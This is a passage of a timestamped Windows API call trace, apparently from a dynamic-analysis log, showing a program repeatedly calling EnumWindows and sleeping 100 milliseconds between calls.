EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.400] Sleep (dwMilliseconds=0x64) [0141.401] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.402] Sleep (dwMilliseconds=0x64) [0141.403] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.403] Sleep (dwMilliseconds=0x64) [0141.404] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.404] Sleep (dwMilliseconds=0x64) [0141.406] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.406] Sleep (dwMilliseconds=0x64) [0141.407] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.407] Sleep (dwMilliseconds=0x64) [0141.409] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.409] Sleep (dwMilliseconds=0x64) [0141.410] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.410] Sleep (dwMilliseconds=0x64) [0141.412] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.412] Sleep (dwMilliseconds=0x64) [0141.413] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.413] Sleep (dwMilliseconds=0x64) [0141.415] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.415] Sleep (dwMilliseconds=0x64) [0141.416] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.416] Sleep (dwMilliseconds=0x64) [0141.418] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.418] Sleep (dwMilliseconds=0x64) [0141.419] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.419] Sleep (dwMilliseconds=0x64) [0141.421] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.421] Sleep (dwMilliseconds=0x64) [0141.476] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.476] Sleep (dwMilliseconds=0x64) [0141.477] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.477] Sleep (dwMilliseconds=0x64) [0141.479] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.479] Sleep (dwMilliseconds=0x64) [0141.481] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.481] Sleep (dwMilliseconds=0x64) [0141.483] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.483] Sleep (dwMilliseconds=0x64) [0141.485] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.485] Sleep (dwMilliseconds=0x64) [0141.487] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.487] Sleep (dwMilliseconds=0x64) [0141.495] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.495] Sleep (dwMilliseconds=0x64) [0141.496] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.496] Sleep (dwMilliseconds=0x64) [0141.579] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.581] Sleep (dwMilliseconds=0x64) [0141.632] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.632] Sleep (dwMilliseconds=0x64) [0141.670] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.671] Sleep (dwMilliseconds=0x64) [0141.715] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.715] Sleep (dwMilliseconds=0x64) [0141.735] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.736] Sleep (dwMilliseconds=0x64) [0141.738] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.738] Sleep (dwMilliseconds=0x64) [0141.740] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.740] Sleep (dwMilliseconds=0x64) [0141.743] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.743] Sleep (dwMilliseconds=0x64) [0141.745] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.745] Sleep (dwMilliseconds=0x64) [0141.746] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.746] Sleep (dwMilliseconds=0x64) [0141.749] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.749] Sleep (dwMilliseconds=0x64) [0141.750] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.751] Sleep (dwMilliseconds=0x64) [0141.752] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.752] Sleep (dwMilliseconds=0x64) [0141.754] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.754] Sleep (dwMilliseconds=0x64) [0141.755] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.755] Sleep (dwMilliseconds=0x64) [0141.757] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.757] Sleep (dwMilliseconds=0x64) [0141.758] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.759] Sleep (dwMilliseconds=0x64) [0141.761] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.761] Sleep (dwMilliseconds=0x64) [0141.762] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.763] Sleep (dwMilliseconds=0x64) [0141.764] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.764] Sleep (dwMilliseconds=0x64) [0141.765] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.766] Sleep (dwMilliseconds=0x64) [0141.767] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.767] Sleep (dwMilliseconds=0x64) [0141.768] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.768] Sleep (dwMilliseconds=0x64) [0141.791] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.792] Sleep (dwMilliseconds=0x64) [0141.797] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.797] Sleep (dwMilliseconds=0x64) [0141.798] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.799] Sleep (dwMilliseconds=0x64) [0141.801] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.801] Sleep (dwMilliseconds=0x64) [0141.803] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.803] Sleep (dwMilliseconds=0x64) [0141.804] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.805] Sleep (dwMilliseconds=0x64) [0141.806] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.806] Sleep (dwMilliseconds=0x64) [0141.807] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.808] Sleep (dwMilliseconds=0x64) [0141.809] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.809] Sleep (dwMilliseconds=0x64) [0141.810] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.811] Sleep (dwMilliseconds=0x64) [0141.812] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.812] Sleep (dwMilliseconds=0x64) [0141.815] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.815] Sleep (dwMilliseconds=0x64) [0141.931] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.931] Sleep (dwMilliseconds=0x64) [0141.933] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.933] Sleep (dwMilliseconds=0x64) [0141.934] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.934] Sleep (dwMilliseconds=0x64) [0141.936] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.936] Sleep (dwMilliseconds=0x64) [0141.938] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.938] Sleep (dwMilliseconds=0x64) [0141.940] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.941] Sleep (dwMilliseconds=0x64) [0141.943] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.943] Sleep (dwMilliseconds=0x64) [0141.944] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.945] Sleep (dwMilliseconds=0x64) [0141.947] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.947] Sleep (dwMilliseconds=0x64) [0141.948] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.949] Sleep (dwMilliseconds=0x64) [0141.950] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.950] Sleep (dwMilliseconds=0x64) [0141.952] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.952] Sleep (dwMilliseconds=0x64) [0141.954] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.954] Sleep (dwMilliseconds=0x64) [0141.955] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.956] Sleep (dwMilliseconds=0x64) [0141.957] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.958] Sleep (dwMilliseconds=0x64) [0141.959] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.959] Sleep (dwMilliseconds=0x64) [0141.961] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.961] Sleep (dwMilliseconds=0x64) [0141.967] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.968] Sleep (dwMilliseconds=0x64) [0141.969] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.969] Sleep (dwMilliseconds=0x64) [0141.971] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.971] Sleep (dwMilliseconds=0x64) [0141.972] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.972] Sleep (dwMilliseconds=0x64) [0141.974] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.974] Sleep (dwMilliseconds=0x64) [0141.975] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.976] Sleep (dwMilliseconds=0x64) [0141.984] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.984] Sleep (dwMilliseconds=0x64) [0141.991] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.991] Sleep (dwMilliseconds=0x64) [0141.992] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.992] Sleep (dwMilliseconds=0x64) [0141.994] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.994] Sleep (dwMilliseconds=0x64) [0141.995] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.996] Sleep (dwMilliseconds=0x64) [0141.998] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0141.998] Sleep (dwMilliseconds=0x64) [0142.000] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.000] Sleep (dwMilliseconds=0x64) [0142.003] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.003] Sleep (dwMilliseconds=0x64) [0142.004] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.004] Sleep (dwMilliseconds=0x64) [0142.006] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.006] Sleep (dwMilliseconds=0x64) [0142.007] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.007] Sleep (dwMilliseconds=0x64) [0142.011] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.011] Sleep (dwMilliseconds=0x64) [0142.013] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.013] Sleep (dwMilliseconds=0x64) [0142.015] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.015] Sleep (dwMilliseconds=0x64) [0142.016] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.016] Sleep (dwMilliseconds=0x64) [0142.018] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.018] Sleep (dwMilliseconds=0x64) [0142.020] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.020] Sleep (dwMilliseconds=0x64) [0142.022] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.022] Sleep (dwMilliseconds=0x64) [0142.024] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.024] Sleep (dwMilliseconds=0x64) [0142.026] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.026] Sleep (dwMilliseconds=0x64) [0142.028] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.028] Sleep (dwMilliseconds=0x64) [0142.029] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.030] Sleep (dwMilliseconds=0x64) [0142.031] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.031] Sleep (dwMilliseconds=0x64) [0142.033] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.033] Sleep (dwMilliseconds=0x64) [0142.036] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.036] Sleep (dwMilliseconds=0x64) [0142.038] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.038] Sleep (dwMilliseconds=0x64) [0142.040] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.040] Sleep (dwMilliseconds=0x64) [0142.041] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.041] Sleep (dwMilliseconds=0x64) [0142.043] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.043] Sleep (dwMilliseconds=0x64) [0142.044] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.045] Sleep (dwMilliseconds=0x64) [0142.046] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.046] Sleep (dwMilliseconds=0x64) [0142.048] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.048] Sleep (dwMilliseconds=0x64) [0142.050] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.050] Sleep (dwMilliseconds=0x64) [0142.051] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.051] Sleep (dwMilliseconds=0x64) [0142.053] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.053] Sleep (dwMilliseconds=0x64) [0142.055] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.055] Sleep (dwMilliseconds=0x64) [0142.057] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.057] Sleep (dwMilliseconds=0x64) [0142.059] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.059] Sleep (dwMilliseconds=0x64) [0142.137] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.137] Sleep (dwMilliseconds=0x64) [0142.220] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.220] Sleep (dwMilliseconds=0x64) [0142.251] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.252] Sleep (dwMilliseconds=0x64) [0142.255] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.255] Sleep (dwMilliseconds=0x64) [0142.257] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.257] Sleep (dwMilliseconds=0x64) [0142.259] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.259] Sleep (dwMilliseconds=0x64) [0142.261] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.261] Sleep (dwMilliseconds=0x64) [0142.263] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.264] Sleep (dwMilliseconds=0x64) [0142.267] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.267] Sleep (dwMilliseconds=0x64) [0142.273] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.274] Sleep (dwMilliseconds=0x64) [0142.277] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.277] Sleep (dwMilliseconds=0x64) [0142.280] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.280] Sleep (dwMilliseconds=0x64) [0142.281] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.282] Sleep (dwMilliseconds=0x64) [0142.284] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.284] Sleep (dwMilliseconds=0x64) [0142.287] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.287] Sleep (dwMilliseconds=0x64) [0142.288] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.288] Sleep (dwMilliseconds=0x64) [0142.289] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.290] Sleep (dwMilliseconds=0x64) [0142.291] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.291] Sleep (dwMilliseconds=0x64) [0142.292] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.293] Sleep (dwMilliseconds=0x64) [0142.294] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.294] Sleep (dwMilliseconds=0x64) [0142.296] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.296] Sleep (dwMilliseconds=0x64) [0142.298] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.298] Sleep (dwMilliseconds=0x64) [0142.300] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.300] Sleep (dwMilliseconds=0x64) [0142.301] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.301] Sleep (dwMilliseconds=0x64) [0142.302] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.303] Sleep (dwMilliseconds=0x64) [0142.304] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.304] Sleep (dwMilliseconds=0x64) [0142.310] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.310] Sleep (dwMilliseconds=0x64) [0142.312] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.312] Sleep (dwMilliseconds=0x64) [0142.315] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.315] Sleep (dwMilliseconds=0x64) [0142.317] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.318] Sleep (dwMilliseconds=0x64) [0142.319] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.319] Sleep (dwMilliseconds=0x64) [0142.321] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.322] Sleep (dwMilliseconds=0x64) [0142.360] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.360] Sleep (dwMilliseconds=0x64) [0142.493] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.494] Sleep (dwMilliseconds=0x64) [0142.554] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.555] Sleep (dwMilliseconds=0x64) [0142.557] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.557] Sleep (dwMilliseconds=0x64) [0142.559] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.559] Sleep (dwMilliseconds=0x64) [0142.561] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.561] Sleep (dwMilliseconds=0x64) [0142.563] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.563] Sleep (dwMilliseconds=0x64) [0142.564] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.564] Sleep (dwMilliseconds=0x64) [0142.566] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.566] Sleep (dwMilliseconds=0x64) [0142.568] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.568] Sleep (dwMilliseconds=0x64) [0142.569] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.569] Sleep (dwMilliseconds=0x64) [0142.571] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.571] Sleep (dwMilliseconds=0x64) [0142.572] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.572] Sleep (dwMilliseconds=0x64) [0142.574] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.574] Sleep (dwMilliseconds=0x64) [0142.576] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.576] Sleep (dwMilliseconds=0x64) [0142.578] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.578] Sleep (dwMilliseconds=0x64) [0142.580] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.582] Sleep (dwMilliseconds=0x64) [0142.583] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.583] Sleep (dwMilliseconds=0x64) [0142.585] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.585] Sleep (dwMilliseconds=0x64) [0142.587] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.587] Sleep (dwMilliseconds=0x64) [0142.588] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.589] Sleep (dwMilliseconds=0x64) [0142.590] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.590] Sleep (dwMilliseconds=0x64) [0142.592] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.592] Sleep (dwMilliseconds=0x64) [0142.593] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.593] Sleep (dwMilliseconds=0x64) [0142.595] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.595] Sleep (dwMilliseconds=0x64) [0142.596] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.596] Sleep (dwMilliseconds=0x64) [0142.598] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.598] Sleep (dwMilliseconds=0x64) [0142.599] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.599] Sleep (dwMilliseconds=0x64) [0142.601] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.602] Sleep (dwMilliseconds=0x64) [0142.603] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.603] Sleep (dwMilliseconds=0x64) [0142.605] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.605] Sleep (dwMilliseconds=0x64) [0142.607] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.607] Sleep (dwMilliseconds=0x64) [0142.608] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.608] Sleep (dwMilliseconds=0x64) [0142.610] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.610] Sleep (dwMilliseconds=0x64) [0142.613] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.613] Sleep (dwMilliseconds=0x64) [0142.616] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.616] Sleep (dwMilliseconds=0x64) [0142.617] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.617] Sleep (dwMilliseconds=0x64) [0142.619] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.619] Sleep (dwMilliseconds=0x64) [0142.620] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.621] Sleep (dwMilliseconds=0x64) [0142.622] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.622] Sleep (dwMilliseconds=0x64) [0142.624] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.624] Sleep (dwMilliseconds=0x64) [0142.625] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.626] Sleep (dwMilliseconds=0x64) [0142.627] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.627] Sleep (dwMilliseconds=0x64) [0142.629] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.629] Sleep (dwMilliseconds=0x64) [0142.631] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.632] Sleep (dwMilliseconds=0x64) [0142.634] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.634] Sleep (dwMilliseconds=0x64) [0142.636] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.636] Sleep (dwMilliseconds=0x64) [0142.637] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.637] Sleep (dwMilliseconds=0x64) [0142.639] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.639] Sleep (dwMilliseconds=0x64) [0142.641] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.641] Sleep (dwMilliseconds=0x64) [0142.645] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.645] Sleep (dwMilliseconds=0x64) [0142.646] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.646] Sleep (dwMilliseconds=0x64) [0142.672] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.672] Sleep (dwMilliseconds=0x64) [0142.674] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.674] Sleep (dwMilliseconds=0x64) [0142.675] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.675] Sleep (dwMilliseconds=0x64) [0142.678] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.678] Sleep (dwMilliseconds=0x64) [0142.680] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.680] Sleep (dwMilliseconds=0x64) [0142.681] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.682] Sleep (dwMilliseconds=0x64) [0142.687] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.688] Sleep (dwMilliseconds=0x64) [0142.689] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.689] Sleep (dwMilliseconds=0x64) [0142.691] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.691] Sleep (dwMilliseconds=0x64) [0142.693] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.693] Sleep (dwMilliseconds=0x64) [0142.695] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.695] Sleep (dwMilliseconds=0x64) [0142.696] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.696] Sleep (dwMilliseconds=0x64) [0142.699] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.699] Sleep (dwMilliseconds=0x64) [0142.701] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.701] Sleep (dwMilliseconds=0x64) [0142.702] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.703] Sleep (dwMilliseconds=0x64) [0142.704] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.704] Sleep (dwMilliseconds=0x64) [0142.705] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.706] Sleep (dwMilliseconds=0x64) [0142.707] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.707] Sleep (dwMilliseconds=0x64) [0142.709] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.709] Sleep (dwMilliseconds=0x64) [0142.711] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.711] Sleep (dwMilliseconds=0x64) [0142.735] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.735] Sleep (dwMilliseconds=0x64) [0142.737] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.737] Sleep (dwMilliseconds=0x64) [0142.738] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.739] Sleep (dwMilliseconds=0x64) [0142.740] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.740] Sleep (dwMilliseconds=0x64) [0142.741] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.742] Sleep (dwMilliseconds=0x64) [0142.743] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.743] Sleep (dwMilliseconds=0x64) [0142.744] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.745] Sleep (dwMilliseconds=0x64) [0142.747] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.747] Sleep (dwMilliseconds=0x64) [0142.748] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.749] Sleep (dwMilliseconds=0x64) [0142.751] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.751] Sleep (dwMilliseconds=0x64) [0142.752] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.752] Sleep (dwMilliseconds=0x64) [0142.754] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.754] Sleep (dwMilliseconds=0x64) [0142.756] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.756] Sleep (dwMilliseconds=0x64) [0142.758] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.758] Sleep (dwMilliseconds=0x64) [0142.759] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.759] Sleep (dwMilliseconds=0x64) [0142.761] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.761] Sleep (dwMilliseconds=0x64) [0142.763] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.763] Sleep (dwMilliseconds=0x64) [0142.764] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.764] Sleep (dwMilliseconds=0x64) 